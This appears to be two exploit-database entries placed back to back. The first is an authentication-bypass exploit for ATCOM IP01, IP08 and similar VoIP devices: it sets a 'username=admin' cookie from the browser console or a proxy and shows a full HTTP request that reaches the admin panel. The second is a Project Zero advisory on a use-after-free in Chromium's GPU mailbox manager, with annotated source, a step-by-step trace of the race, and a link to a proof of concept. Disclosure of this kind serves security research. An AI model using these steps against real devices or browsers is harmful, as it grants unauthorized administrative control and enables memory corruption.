# Tested on : ATCOM IP01 , IP08 , IP4G and ip2G4A

Details
The mentioned system is affected by auth bypass flaw that allow an attacker to get admin access on the vulnerable machine without perior access
The security check is really stupid , depend on js
affected lines

js/util.js
function alertWithoutLogin(){
    var username = getCookie("username");
    //alert(username);
    if(!!!username){
        alert('Sorry, permission denied. Please login first!');
    }
}

so actually it just check if username value exist in cookies
and if not , redirect to login.html
just like that!!!!!!!!!!!!!

exploitation?!
just from browser , press f12 , open console
type document.cookie="username=admin"
or from burp intercept proxy and set the cookies as well
go to ip/admin/index.html
and you are in , simple like that :/

Demo request

GET /admin/index.html HTTP/1.1
Host: 192.168.44.12
User-Agent: Mozilla/1.0 (Windows NT 3.3; WOW32; rv:60.0) Gecko/20010101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: username=admin
Connection: close
Upgrade-Insecure-Requests: 1

From Eg-R1z with love
./Faris
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=780

Several functions in the GPU command buffer service interact with the GPU 
mailbox manager (gpu/command_buffer/service/mailbox_manager_impl.cc), passing a reference to shared memory as the mailbox argument.

MailboxManagerImpl does not expect this mailbox argument to be malleable in this way, and it is in several places copied and passed to various stl functions, resulting in unexpected behaviour from double-reads when an attacker modifies the mailbox name mid function.

The attached POC uses the GPU command 'ProduceTextureDirectCHROMIUMImmediate' to trigger a use-after-free but other commands that interact with the mailbox manager should also be vulnerable in a similar way.

error::Error GLES2DecoderImpl::HandleProduceTextureDirectCHROMIUMImmediate(
    uint32_t immediate_data_size,
    const void* cmd_data) {
  const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate& c =
      *static_cast<const gles2::cmds::ProduceTextureDirectCHROMIUMImmediate*>(
          cmd_data);
  (void)c;
  GLuint texture = c.texture;
  GLenum target = static_cast<GLenum>(c.target);
  uint32_t data_size;
  if (!ComputeDataSize(1, sizeof(GLbyte), 64, &data_size)) {
    return error::kOutOfBounds;
  }
  if (data_size > immediate_data_size) {
    return error::kOutOfBounds;
  }
  
  // ** mailbox is a pointer into our shared memory buffer **
  const GLbyte* mailbox =
      GetImmediateDataAs<const GLbyte*>(c, data_size, immediate_data_size);
  if (!validators_->texture_bind_target.IsValid(target)) {
    LOCAL_SET_GL_ERROR_INVALID_ENUM("glProduceTextureDirectCHROMIUM", target,
                                    "target");
    return error::kNoError;
  }
  if (mailbox == NULL) {
    return error::kOutOfBounds;
  }
  DoProduceTextureDirectCHROMIUM(texture, target, mailbox);
  return error::kNoError;
}

void GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM(GLuint client_id,
    GLenum target, const GLbyte* data) {
  TRACE_EVENT2("gpu", "GLES2DecoderImpl::DoProduceTextureDirectCHROMIUM",
      "context", logger_.GetLogPrefix(),
      "mailbox[0]", static_cast<unsigned char>(data[0]));

  ProduceTextureRef("glProduceTextureDirectCHROMIUM", GetTexture(client_id),
      target, data);
}

void GLES2DecoderImpl::ProduceTextureRef(const char* func_name,
                                         TextureRef* texture_ref,
                                         GLenum target,
                                         const GLbyte* data) {
  // ** mailbox is still a pointer to shared memory **
  const Mailbox& mailbox = *reinterpret_cast<const Mailbox*>(data);
  DLOG_IF(ERROR, !mailbox.Verify()) << func_name << " was passed a "
                                       "mailbox that was not generated by "
                                       "GenMailboxCHROMIUM.";

  if (!texture_ref) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "unknown texture for target");
    return;
  }

  Texture* produced = texture_manager()->Produce(texture_ref);
  if (!produced) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "invalid texture");
    return;
  }

  if (produced->target() != target) {
    LOCAL_SET_GL_ERROR(
        GL_INVALID_OPERATION, func_name, "invalid target");
    return;
  }

  group_->mailbox_manager()->ProduceTexture(mailbox, produced);
}

void MailboxManagerImpl::ProduceTexture(const Mailbox& mailbox,
                                        Texture* texture) {
  MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
  if (it != mailbox_to_textures_.end()) {
    if (it->second->first == texture)
      return;
    TextureToMailboxMap::iterator texture_it = it->second;
    mailbox_to_textures_.erase(it);
    textures_to_mailboxes_.erase(texture_it);
  }
  InsertTexture(mailbox, texture);
}

void MailboxManagerImpl::InsertTexture(const Mailbox& mailbox,
                                       Texture* texture) {
  texture->SetMailboxManager(this);
  TextureToMailboxMap::iterator texture_it =
      textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
  // ** modify mailbox at this point **
  mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
  DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());
}

We can leverage this for memory corruption in the GPU process by a slightly roundabout route; since each entry in the mailbox_to_textures_ has an iterator to an entry in textures_to_mailboxes_, and it is an expected invariant that both of these entries have the same mailbox name. By starting to create a mailbox named aaaa...aaaa and waiting until the first insert is complete before changing the mailbox name to AAAA...aaaa, then adding a second entry with the same texture reference but with the actual name aaaa...aaaa we get the following situation (example trace through the code from ProduceTexture with InsertTexture call inlined):

// first entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed
if (it != mailbox_to_textures_.end()) {} 
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it = 
  textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// modify      - mailbox.name = 'AAAA...aaaa'
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1

// second entry - mailbox.name = 'aaaa...aaaa', texture = t1
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// if body not executed (since 'AAAA...aaaa' != 'aaaa...aaaa')
if (it != mailbox_to_textures_.end()) {}
texture->SetMailboxManager(this);
TextureToMailboxMap::iterator texture_it = 
  textures_to_mailboxes_.insert(std::make_pair(texture, mailbox));
// texture_it is the same as before; since there already exists the pair 
// 'aaaa...aaaa', t1* in textures_to_mailboxes, the insert returns an
// iterator to the existing element.
mailbox_to_textures_.insert(std::make_pair(mailbox, texture_it));
DCHECK_EQ(mailbox_to_textures_.size(), textures_to_mailboxes_.size());

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> aaaa...aaaa, t1
// aaaa...aaaa, it -----------/
// so both entries in mailbox_to_textures_ have the same iterator.

// third entry - mailbox.name = 'aaaa...aaaa', texture = t2
MailboxToTextureMap::iterator it = mailbox_to_textures_.find(mailbox);
// this time we find an entry
if (it != mailbox_to_textures_.end()) {
  // t1 != t2
  if (it->second->first == texture)
    return;
  // so we remove the previous entry for aaaa...aaaa
  TextureToMailboxMap::iterator texture_it = it->second;
  mailbox_to_textures_.erase(it);
  textures_to_mailboxes_.erase(texture_it);
}

// mailbox_to_textures_                            textures_to_mailboxes_
// AAAA...aaaa, it ------------------------------> ??
// aaaa...aaaa, it ------------------------------> aaaa...aaaa, t2

Leaving mailbox AAAA...aaaa with a dangling reference to a no-longer valid iterator into textures_to_mailboxes_; (std::map and std::multimap iterators are invalidated by a call to erase() the element that they reference). The attached poc then calls some further methods on the mailbox to trigger a use of the dangling iterator that is detectable by ASAN.

Updated POC to work on the latest asan linux build, command buffer ids were out of date.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39961.zip